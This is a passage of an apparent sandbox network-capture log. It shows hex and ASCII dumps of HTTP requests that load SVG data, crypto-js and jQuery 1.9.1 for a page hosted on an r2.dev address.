134.995 31.5795 139.792 31.5795C144.589 31.5795 148.478 35.4684 148.478 40.2656C148.478 45.0627 144.589 48.9516 139.792 48.9516Z" fill="white" stroke="#0055DC" stroke-width="2" stroke-miterlimit="10"
2024-10-18 09:20:24 UTC	1369	IN	Data Raw: 32 2e 34 39 32 31 20 31 31 35 2e 36 38 20 34 31 2e 34 32 31 36 20 31 31 35 2e 36 38 20 34 30 2e 33 30 35 35 43 31 31 35 2e 36 37 38 20 33 39 2e 31 39 30 37 20 31 31 35 2e 32 33 34 20 33 38 2e 31 32 32 34 20 31 31 34 2e 34 34 35 20 33 37 2e 33 33 34 39 43 31 31 33 2e 36 35 36 20 33 36 2e 35 34 37 34 20 31 31 32 2e 35 38 36 20 33 36 2e 31 30 35 32 20 31 31 31 2e 34 37 32 20 33 36 2e 31 30 35 32 43 31 31 30 2e 33 35 38 20 33 36 2e 31 30 37 33 20 31 30 39 2e 32 39 31 20 33 36 2e 35 35 30 36 20 31 30 38 2e 35 30 34 20 33 37 2e 33 33 37 38 43 31 30 37 2e 37 31 37 20 33 38 2e 31 32 35 20 31 30 37 2e 32 37 34 20 33 39 2e 31 39 32 31 20 31 30 37 2e 32 37 31 20 34 30 2e 33 30 35 35 56 34 30 2e 33 30 35 35 5a 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 69 6c 6c 3d Data Ascii: 2.4921 115.68 41.4216 115.68 40.3055C115.678 39.1907 115.234 38.1224 114.445 37.3349C113.656 36.5474 112.586 36.1052 111.472 36.1052C110.358 36.1073 109.291 36.5506 108.504 37.3378C107.717 38.125 107.274 39.1921 107.271 40.3055V40.3055Z" fill=
2024-10-18 09:20:24 UTC	1369	IN	Data Raw: 34 34 20 31 33 33 2e 30 32 20 31 34 36 2e 36 31 31 20 31 33 37 2e 34 31 32 20 31 34 36 2e 36 31 31 20 31 34 32 2e 38 33 31 43 31 34 36 2e 36 31 31 20 31 34 38 2e 32 34 39 20 31 34 32 2e 33 34 34 20 31 35 32 2e 36 34 31 20 31 33 37 2e 30 38 31 20 31 35 32 2e 36 34 31 5a 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 69 6c 6c 3d 22 23 43 35 45 42 46 35 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 67 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 67 20 73 74 79 6c 65 3d 22 6d 69 78 2d 62 6c 65 6e 64 2d 6d 6f 64 65 3a 20 6d 75 6c 74 69 70 6c 79 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 64 3d 22 4d 31 30 33 2e 30 37 34 20 31 34 32 2e 38 33 31 43 31 30 33 2e 30 Data Ascii: 44 133.02 146.611 137.412 146.611 142.831C146.611 148.249 142.344 152.641 137.081 152.641Z" fill="#C5EBF5" /> </g> <g style="mix-blend-mode: multiply"> <path d="M103.074 142.831C103.0
2024-10-18 09:20:24 UTC	1369	IN	Data Raw: 20 20 20 20 20 20 20 20 64 3d 22 4d 31 33 37 2e 30 38 37 20 37 35 2e 36 33 35 48 31 34 32 2e 31 37 37 56 37 39 2e 37 33 37 39 48 31 33 37 2e 30 38 37 56 37 35 2e 36 33 35 5a 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 69 6c 6c 3d 22 23 30 30 35 35 44 43 22 0a 20 20 20 20 20 20 20 20 20 20 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 3d 22 4d 31 32 39 2e 38 35 32 20 37 35 2e 36 33 35 48 31 33 34 2e 39 33 34 56 37 39 2e 37 33 37 39 48 31 32 39 2e 38 35 32 56 37 35 2e 36 33 35 5a 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 69 6c 6c 3d 22 23 30 30 35 35 44 43 22 0a 20 20 20 20 20 20 20 20 20 20 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 3d 22 4d 31 33 37 Data Ascii: d="M137.087 75.635H142.177V79.7379H137.087V75.635Z" fill="#0055DC" /> <path d="M129.852 75.635H134.934V79.7379H129.852V75.635Z" fill="#0055DC" /> <path d="M137

Timestamp	Bytes transferred	Direction	Data
2024-10-18 09:20:32 UTC	589	OUT	GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://pub-96b9b5e836be46e9ad5ce96801faf5ad.r2.dev/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-18 09:20:32 UTC	958	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 09:20:32 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"61182885-40eb" Last-Modified: Sat, 14 Aug 2021 20:33:09 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 126516 Expires: Wed, 08 Oct 2025 09:20:32 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=VLYnL191tt523XDIpsOeMgy0Zmg3%2BgLaWD8kCyPECU0%2B0cPXUlz6xMjocIOb1I0t4tZPjd7gUBmJPhHq0X0fsLgBqMzQMbMKgrAaIQr6zsahF2z9mg8lzOz4vnhmuAISf%2BcacohD"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 8d4773fd4ab46b1c-DFW alt-svc: h3=":443"; ma=86400
2024-10-18 09:20:32 UTC	411	IN	Data Raw: 33 39 37 63 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 78 70 6f 72 74 73 3d 65 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 5b 5d 2c 65 29 3a 74 2e 43 72 79 70 74 6f 4a 53 3d 65 28 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 6e 2c 6f 2c 73 2c 61 2c 68 2c 74 2c 65 2c 6c 2c 72 2c 69 2c 63 2c 66 2c 64 2c 75 2c 70 2c 53 2c 78 2c 62 2c 41 2c 48 2c 7a 2c 5f 2c 76 2c 67 2c 79 2c 42 2c 77 2c 6b 2c 6d 2c 43 2c 44 2c 45 2c 52 2c 4d 2c 46 2c 50 2c 57 2c 4f 2c 49 2c 55 3d 55 7c 7c 66 75 6e 63 74 69 6f 6e 28 68 29 7b Data Ascii: 397c!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var n,o,s,a,h,t,e,l,r,i,c,f,d,u,p,S,x,b,A,H,z,_,v,g,y,B,w,k,m,C,D,E,R,M,F,P,W,O,I,U=U\|\|function(h){
2024-10-18 09:20:32 UTC	1369	IN	Data Raw: 20 67 6c 6f 62 61 6c 54 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 69 73 2e 63 72 79 70 74 6f 3f 67 6c 6f 62 61 6c 54 68 69 73 2e 63 72 79 70 74 6f 3a 69 29 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 3f 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 3a 69 29 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 3f 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 3a 69 29 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 72 65 71 75 69 72 65 29 74 72 79 7b 69 3d 72 65 71 75 69 72 65 28 22 63 72 79 70 74 6f 22 29 7d 63 61 74 63 68 28 74 29 7b 7d 76 61 72 20 72 3d 4f 62 6a 65 63 74 2e 63 72 65 61 Data Ascii: globalThis&&globalThis.crypto?globalThis.crypto:i)&&"undefined"!=typeof window&&window.msCrypto?window.msCrypto:i)&&"undefined"!=typeof global&&global.crypto?global.crypto:i)&&"function"==typeof require)try{i=require("crypto")}catch(t){}var r=Object.crea
2024-10-18 09:20:32 UTC	1369	IN	Data Raw: 61 6c 6c 28 74 68 69 73 29 3b 72 65 74 75 72 6e 20 74 2e 77 6f 72 64 73 3d 74 68 69 73 2e 77 6f 72 64 73 2e 73 6c 69 63 65 28 30 29 2c 74 7d 2c 72 61 6e 64 6f 6d 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 66 6f 72 28 76 61 72 20 65 3d 5b 5d 2c 72 3d 30 3b 72 3c 74 3b 72 2b 3d 34 29 65 2e 70 75 73 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 69 29 7b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 69 2e 67 65 74 52 61 6e 64 6f 6d 56 61 6c 75 65 73 29 74 72 79 7b 72 65 74 75 72 6e 20 69 2e 67 65 74 52 61 6e 64 6f 6d 56 61 6c 75 65 73 28 6e 65 77 20 55 69 6e 74 33 32 41 72 72 61 79 28 31 29 29 5b 30 5d 7d 63 61 74 63 68 28 74 29 7b 7d 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 69 2e 72 61 6e 64 6f 6d 42 79 74 65 73 29 Data Ascii: all(this);return t.words=this.words.slice(0),t},random:function(t){for(var e=[],r=0;r<t;r+=4)e.push(function(){if(i){if("function"==typeof i.getRandomValues)try{return i.getRandomValues(new Uint32Array(1))[0]}catch(t){}if("function"==typeof i.randomBytes)
2024-10-18 09:20:32 UTC	1369	IN	Data Raw: 65 6f 66 20 74 26 26 28 74 3d 66 2e 70 61 72 73 65 28 74 29 29 2c 74 68 69 73 2e 5f 64 61 74 61 2e 63 6f 6e 63 61 74 28 74 29 2c 74 68 69 73 2e 5f 6e 44 61 74 61 42 79 74 65 73 2b 3d 74 2e 73 69 67 42 79 74 65 73 7d 2c 5f 70 72 6f 63 65 73 73 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 2c 72 3d 74 68 69 73 2e 5f 64 61 74 61 2c 69 3d 72 2e 77 6f 72 64 73 2c 6e 3d 72 2e 73 69 67 42 79 74 65 73 2c 6f 3d 74 68 69 73 2e 62 6c 6f 63 6b 53 69 7a 65 2c 73 3d 6e 2f 28 34 2a 6f 29 2c 63 3d 28 73 3d 74 3f 68 2e 63 65 69 6c 28 73 29 3a 68 2e 6d 61 78 28 28 30 7c 73 29 2d 74 68 69 73 2e 5f 6d 69 6e 42 75 66 66 65 72 53 69 7a 65 2c 30 29 29 2a 6f 2c 6e 3d 68 2e 6d 69 6e 28 34 2a 63 2c 6e 29 3b 69 66 28 63 29 7b 66 6f 72 28 76 61 72 20 61 3d 30 3b 61 3c 63 3b Data Ascii: eof t&&(t=f.parse(t)),this._data.concat(t),this._nDataBytes+=t.sigBytes},_process:function(t){var e,r=this._data,i=r.words,n=r.sigBytes,o=this.blockSize,s=n/(4o),c=(s=t?h.ceil(s):h.max((0\|s)-this._minBufferSize,0))o,n=h.min(4*c,n);if(c){for(var a=0;a<c;
2024-10-18 09:20:32 UTC	1369	IN	Data Raw: 61 72 20 74 3d 74 68 69 73 2e 5f 58 2c 65 3d 74 68 69 73 2e 5f 43 2c 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 45 5b 72 5d 3d 65 5b 72 5d 3b 65 5b 30 5d 3d 65 5b 30 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 74 68 69 73 2e 5f 62 7c 30 2c 65 5b 31 5d 3d 65 5b 31 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 30 5d 3e 3e 3e 30 3c 45 5b 30 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 32 5d 3d 65 5b 32 5d 2b 38 38 36 32 36 33 30 39 32 2b 28 65 5b 31 5d 3e 3e 3e 30 3c 45 5b 31 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 33 5d 3d 65 5b 33 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 28 65 5b 32 5d 3e 3e 3e 30 3c 45 5b 32 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 34 5d 3d 65 5b 34 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 33 5d 3e 3e 3e 30 3c 45 5b 33 5d 3e 3e 3e 30 Data Ascii: ar t=this._X,e=this._C,r=0;r<8;r++)E[r]=e[r];e[0]=e[0]+1295307597+this._b\|0,e[1]=e[1]+3545052371+(e[0]>>>0<E[0]>>>0?1:0)\|0,e[2]=e[2]+886263092+(e[1]>>>0<E[1]>>>0?1:0)\|0,e[3]=e[3]+1295307597+(e[2]>>>0<E[2]>>>0?1:0)\|0,e[4]=e[4]+3545052371+(e[3]>>>0<E[3]>>>0
2024-10-18 09:20:32 UTC	1369	IN	Data Raw: 6f 72 28 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 7b 76 61 72 20 69 3d 74 5b 72 5d 2b 65 5b 72 5d 2c 6e 3d 36 35 35 33 35 26 69 2c 6f 3d 69 3e 3e 3e 31 36 3b 49 5b 72 5d 3d 28 28 6e 2a 6e 3e 3e 3e 31 37 29 2b 6e 2a 6f 3e 3e 3e 31 35 29 2b 6f 2a 6f 5e 28 28 34 32 39 34 39 30 31 37 36 30 26 69 29 2a 69 7c 30 29 2b 28 28 36 35 35 33 35 26 69 29 2a 69 7c 30 29 7d 74 5b 30 5d 3d 49 5b 30 5d 2b 28 49 5b 37 5d 3c 3c 31 36 7c 49 5b 37 5d 3e 3e 3e 31 36 29 2b 28 49 5b 36 5d 3c 3c 31 36 7c 49 5b 36 5d 3e 3e 3e 31 36 29 7c 30 2c 74 5b 31 5d 3d 49 5b 31 5d 2b 28 49 5b 30 5d 3c 3c 38 7c 49 5b 30 5d 3e 3e 3e 32 34 29 2b 49 5b 37 5d 7c 30 2c 74 5b 32 5d 3d 49 5b 32 5d 2b 28 49 5b 31 5d 3c 3c 31 36 7c 49 5b 31 5d 3e 3e 3e 31 36 29 2b 28 49 5b 30 5d 3c 3c 31 36 7c 49 5b 30 5d Data Ascii: or(r=0;r<8;r++){var i=t[r]+e[r],n=65535&i,o=i>>>16;I[r]=((nn>>>17)+no>>>15)+oo^((4294901760&i)i\|0)+((65535&i)*i\|0)}t[0]=I[0]+(I[7]<<16\|I[7]>>>16)+(I[6]<<16\|I[6]>>>16)\|0,t[1]=I[1]+(I[0]<<8\|I[0]>>>24)+I[7]\|0,t[2]=I[2]+(I[1]<<16\|I[1]>>>16)+(I[0]<<16\|I[0]
2024-10-18 09:20:32 UTC	1369	IN	Data Raw: 2c 74 2e 62 79 74 65 4f 66 66 73 65 74 2c 74 2e 62 79 74 65 4c 65 6e 67 74 68 29 3a 74 29 69 6e 73 74 61 6e 63 65 6f 66 20 55 69 6e 74 38 41 72 72 61 79 29 7b 66 6f 72 28 76 61 72 20 65 3d 74 2e 62 79 74 65 4c 65 6e 67 74 68 2c 72 3d 5b 5d 2c 69 3d 30 3b 69 3c 65 3b 69 2b 2b 29 72 5b 69 3e 3e 3e 32 5d 7c 3d 74 5b 69 5d 3c 3c 32 34 2d 69 25 34 2a 38 3b 73 2e 63 61 6c 6c 28 74 68 69 73 2c 72 2c 65 29 7d 65 6c 73 65 20 73 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 29 7d 29 2e 70 72 6f 74 6f 74 79 70 65 3d 50 29 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 55 2c 6e 3d 74 2e 6c 69 62 2e 57 6f 72 64 41 72 72 61 79 2c 74 3d 74 2e 65 6e 63 3b 74 2e 55 74 66 31 36 3d 74 2e 55 74 66 31 36 42 45 3d 7b 73 74 72 69 6e 67 69 66 79 3a 66 75 Data Ascii: ,t.byteOffset,t.byteLength):t)instanceof Uint8Array){for(var e=t.byteLength,r=[],i=0;i<e;i++)r[i>>>2]\|=t[i]<<24-i%4*8;s.call(this,r,e)}else s.apply(this,arguments)}).prototype=P),function(){var t=U,n=t.lib.WordArray,t=t.enc;t.Utf16=t.Utf16BE={stringify:fu
2024-10-18 09:20:32 UTC	1369	IN	Data Raw: 61 72 41 74 28 36 34 29 3b 72 65 74 75 72 6e 21 6f 7c 7c 2d 31 21 3d 3d 28 6f 3d 74 2e 69 6e 64 65 78 4f 66 28 6f 29 29 26 26 28 65 3d 6f 29 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 72 29 7b 66 6f 72 28 76 61 72 20 69 3d 5b 5d 2c 6e 3d 30 2c 6f 3d 30 3b 6f 3c 65 3b 6f 2b 2b 29 7b 76 61 72 20 73 2c 63 3b 6f 25 34 26 26 28 73 3d 72 5b 74 2e 63 68 61 72 43 6f 64 65 41 74 28 6f 2d 31 29 5d 3c 3c 6f 25 34 2a 32 2c 63 3d 72 5b 74 2e 63 68 61 72 43 6f 64 65 41 74 28 6f 29 5d 3e 3e 3e 36 2d 6f 25 34 2a 32 2c 63 3d 73 7c 63 2c 69 5b 6e 3e 3e 3e 32 5d 7c 3d 63 3c 3c 32 34 2d 6e 25 34 2a 38 2c 6e 2b 2b 29 7d 72 65 74 75 72 6e 20 61 2e 63 72 65 61 74 65 28 69 2c 6e 29 7d 28 74 2c 65 2c 69 29 7d 2c 5f 6d 61 70 3a 22 41 42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e 4f 50 51 Data Ascii: arAt(64);return!o\|\|-1!==(o=t.indexOf(o))&&(e=o),function(t,e,r){for(var i=[],n=0,o=0;o<e;o++){var s,c;o%4&&(s=r[t.charCodeAt(o-1)]<<o%42,c=r[t.charCodeAt(o)]>>>6-o%42,c=s\|c,i[n>>>2]\|=c<<24-n%4*8,n++)}return a.create(i,n)}(t,e,i)},_map:"ABCDEFGHIJKLMNOPQ
2024-10-18 09:20:32 UTC	1369	IN	Data Raw: 2e 73 69 6e 28 74 2b 31 29 29 7c 30 7d 28 29 3b 65 3d 65 2e 4d 44 35 3d 69 2e 65 78 74 65 6e 64 28 7b 5f 64 6f 52 65 73 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 5f 68 61 73 68 3d 6e 65 77 20 72 2e 69 6e 69 74 28 5b 31 37 33 32 35 38 34 31 39 33 2c 34 30 32 33 32 33 33 34 31 37 2c 32 35 36 32 33 38 33 31 30 32 2c 32 37 31 37 33 33 38 37 38 5d 29 7d 2c 5f 64 6f 50 72 6f 63 65 73 73 42 6c 6f 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 72 3d 30 3b 72 3c 31 36 3b 72 2b 2b 29 7b 76 61 72 20 69 3d 65 2b 72 2c 6e 3d 74 5b 69 5d 3b 74 5b 69 5d 3d 31 36 37 31 31 39 33 35 26 28 6e 3c 3c 38 7c 6e 3e 3e 3e 32 34 29 7c 34 32 37 38 32 35 35 33 36 30 26 28 6e 3c 3c 32 34 7c 6e 3e 3e 3e 38 29 7d 76 61 72 20 6f 3d 74 68 69 73 Data Ascii: .sin(t+1))\|0}();e=e.MD5=i.extend({_doReset:function(){this._hash=new r.init([1732584193,4023233417,2562383102,271733878])},_doProcessBlock:function(t,e){for(var r=0;r<16;r++){var i=e+r,n=t[i];t[i]=16711935&(n<<8\|n>>>24)\|4278255360&(n<<24\|n>>>8)}var o=this
2024-10-18 09:20:33 UTC	1369	IN	Data Raw: 2c 6d 3d 43 28 6d 2c 62 2c 78 2c 53 2c 42 2c 34 2c 41 5b 34 30 5d 29 2c 53 3d 43 28 53 2c 6d 2c 62 2c 78 2c 73 2c 31 31 2c 41 5b 34 31 5d 29 2c 78 3d 43 28 78 2c 53 2c 6d 2c 62 2c 68 2c 31 36 2c 41 5b 34 32 5d 29 2c 62 3d 43 28 62 2c 78 2c 53 2c 6d 2c 64 2c 32 33 2c 41 5b 34 33 5d 29 2c 6d 3d 43 28 6d 2c 62 2c 78 2c 53 2c 5f 2c 34 2c 41 5b 34 34 5d 29 2c 53 3d 43 28 53 2c 6d 2c 62 2c 78 2c 67 2c 31 31 2c 41 5b 34 35 5d 29 2c 78 3d 43 28 78 2c 53 2c 6d 2c 62 2c 6b 2c 31 36 2c 41 5b 34 36 5d 29 2c 6d 3d 44 28 6d 2c 62 3d 43 28 62 2c 78 2c 53 2c 6d 2c 61 2c 32 33 2c 41 5b 34 37 5d 29 2c 78 2c 53 2c 73 2c 36 2c 41 5b 34 38 5d 29 2c 53 3d 44 28 53 2c 6d 2c 62 2c 78 2c 75 2c 31 30 2c 41 5b 34 39 5d 29 2c 78 3d 44 28 78 2c 53 2c 6d 2c 62 2c 77 2c 31 35 2c 41 5b Data Ascii: ,m=C(m,b,x,S,B,4,A[40]),S=C(S,m,b,x,s,11,A[41]),x=C(x,S,m,b,h,16,A[42]),b=C(b,x,S,m,d,23,A[43]),m=C(m,b,x,S,_,4,A[44]),S=C(S,m,b,x,g,11,A[45]),x=C(x,S,m,b,k,16,A[46]),m=D(m,b=C(b,x,S,m,a,23,A[47]),x,S,s,6,A[48]),S=D(S,m,b,x,u,10,A[49]),x=D(x,S,m,b,w,15,A[

Timestamp	Bytes transferred	Direction	Data
2024-10-18 09:20:32 UTC	557	OUT	GET /jquery-1.9.1.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://pub-96b9b5e836be46e9ad5ce96801faf5ad.r2.dev/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-18 09:20:32 UTC	567	IN	HTTP/1.1 200 OK Connection: close Content-Length: 268381 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-4185d" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Age: 2594352 Date: Fri, 18 Oct 2024 09:20:32 GMT X-Served-By: cache-lga21952-LGA, cache-dfw-kdfw8210040-DFW X-Cache: HIT, HIT X-Cache-Hits: 3, 0 X-Timer: S1729243233.861539,VS0,VE1 Vary: Accept-Encoding
2024-10-18 09:20:32 UTC	1378	IN	Data Raw: 2f 2a 21 0a 20 2a 20 6a 51 75 65 72 79 20 4a 61 76 61 53 63 72 69 70 74 20 4c 69 62 72 61 72 79 20 76 31 2e 39 2e 31 0a 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 2e 63 6f 6d 2f 0a 20 2a 0a 20 2a 20 49 6e 63 6c 75 64 65 73 20 53 69 7a 7a 6c 65 2e 6a 73 0a 20 2a 20 68 74 74 70 3a 2f 2f 73 69 7a 7a 6c 65 6a 73 2e 63 6f 6d 2f 0a 20 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 30 35 2c 20 32 30 31 32 20 6a 51 75 65 72 79 20 46 6f 75 6e 64 61 74 69 6f 6e 2c 20 49 6e 63 2e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 0a 20 2a 20 52 65 6c 65 61 73 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 6c 69 63 65 6e 73 65 0a 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 0a 20 2a 0a 20 2a 20 44 Data Ascii: /! jQuery JavaScript Library v1.9.1 * http://jquery.com/ * * Includes Sizzle.js * http://sizzlejs.com/ * * Copyright 2005, 2012 jQuery Foundation, Inc. and other contributors * Released under the MIT license * http://jquery.org/license * * D
2024-10-18 09:20:32 UTC	1378	IN	Data Raw: 4f 66 2c 0a 09 63 6f 72 65 5f 74 6f 53 74 72 69 6e 67 20 3d 20 63 6c 61 73 73 32 74 79 70 65 2e 74 6f 53 74 72 69 6e 67 2c 0a 09 63 6f 72 65 5f 68 61 73 4f 77 6e 20 3d 20 63 6c 61 73 73 32 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2c 0a 09 63 6f 72 65 5f 74 72 69 6d 20 3d 20 63 6f 72 65 5f 76 65 72 73 69 6f 6e 2e 74 72 69 6d 2c 0a 0a 09 2f 2f 20 44 65 66 69 6e 65 20 61 20 6c 6f 63 61 6c 20 63 6f 70 79 20 6f 66 20 6a 51 75 65 72 79 0a 09 6a 51 75 65 72 79 20 3d 20 66 75 6e 63 74 69 6f 6e 28 20 73 65 6c 65 63 74 6f 72 2c 20 63 6f 6e 74 65 78 74 20 29 20 7b 0a 09 09 2f 2f 20 54 68 65 20 6a 51 75 65 72 79 20 6f 62 6a 65 63 74 20 69 73 20 61 63 74 75 61 6c 6c 79 20 6a 75 73 74 20 74 68 65 20 69 6e 69 74 20 63 6f 6e 73 74 72 75 63 74 6f 72 20 27 Data Ascii: Of,core_toString = class2type.toString,core_hasOwn = class2type.hasOwnProperty,core_trim = core_version.trim,// Define a local copy of jQueryjQuery = function( selector, context ) {// The jQuery object is actually just the init constructor '
2024-10-18 09:20:32 UTC	1378	IN	Data Raw: 65 72 0a 09 63 6f 6d 70 6c 65 74 65 64 20 3d 20 66 75 6e 63 74 69 6f 6e 28 20 65 76 65 6e 74 20 29 20 7b 0a 0a 09 09 2f 2f 20 72 65 61 64 79 53 74 61 74 65 20 3d 3d 3d 20 22 63 6f 6d 70 6c 65 74 65 22 20 69 73 20 67 6f 6f 64 20 65 6e 6f 75 67 68 20 66 6f 72 20 75 73 20 74 6f 20 63 61 6c 6c 20 74 68 65 20 64 6f 6d 20 72 65 61 64 79 20 69 6e 20 6f 6c 64 49 45 0a 09 09 69 66 20 28 20 64 6f 63 75 6d 65 6e 74 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 20 7c 7c 20 65 76 65 6e 74 2e 74 79 70 65 20 3d 3d 3d 20 22 6c 6f 61 64 22 20 7c 7c 20 64 6f 63 75 6d 65 6e 74 2e 72 65 61 64 79 53 74 61 74 65 20 3d 3d 3d 20 22 63 6f 6d 70 6c 65 74 65 22 20 29 20 7b 0a 09 09 09 64 65 74 61 63 68 28 29 3b 0a 09 09 09 6a 51 75 65 72 79 2e 72 65 61 64 79 28 29 3b 0a 09 09 Data Ascii: ercompleted = function( event ) {// readyState === "complete" is good enough for us to call the dom ready in oldIEif ( document.addEventListener \|\| event.type === "load" \|\| document.readyState === "complete" ) {detach();jQuery.ready();
2024-10-18 09:20:32 UTC	1378	IN	Data Raw: 7b 0a 0a 09 09 09 09 2f 2f 20 48 41 4e 44 4c 45 3a 20 24 28 68 74 6d 6c 29 20 2d 3e 20 24 28 61 72 72 61 79 29 0a 09 09 09 09 69 66 20 28 20 6d 61 74 63 68 5b 31 5d 20 29 20 7b 0a 09 09 09 09 09 63 6f 6e 74 65 78 74 20 3d 20 63 6f 6e 74 65 78 74 20 69 6e 73 74 61 6e 63 65 6f 66 20 6a 51 75 65 72 79 20 3f 20 63 6f 6e 74 65 78 74 5b 30 5d 20 3a 20 63 6f 6e 74 65 78 74 3b 0a 0a 09 09 09 09 09 2f 2f 20 73 63 72 69 70 74 73 20 69 73 20 74 72 75 65 20 66 6f 72 20 62 61 63 6b 2d 63 6f 6d 70 61 74 0a 09 09 09 09 09 6a 51 75 65 72 79 2e 6d 65 72 67 65 28 20 74 68 69 73 2c 20 6a 51 75 65 72 79 2e 70 61 72 73 65 48 54 4d 4c 28 0a 09 09 09 09 09 09 6d 61 74 63 68 5b 31 5d 2c 0a 09 09 09 09 09 09 63 6f 6e 74 65 78 74 20 26 26 20 63 6f 6e 74 65 78 74 2e 6e 6f 64 65 54 Data Ascii: {// HANDLE: $(html) -> $(array)if ( match[1] ) {context = context instanceof jQuery ? context[0] : context;// scripts is true for back-compatjQuery.merge( this, jQuery.parseHTML(match[1],context && context.nodeT
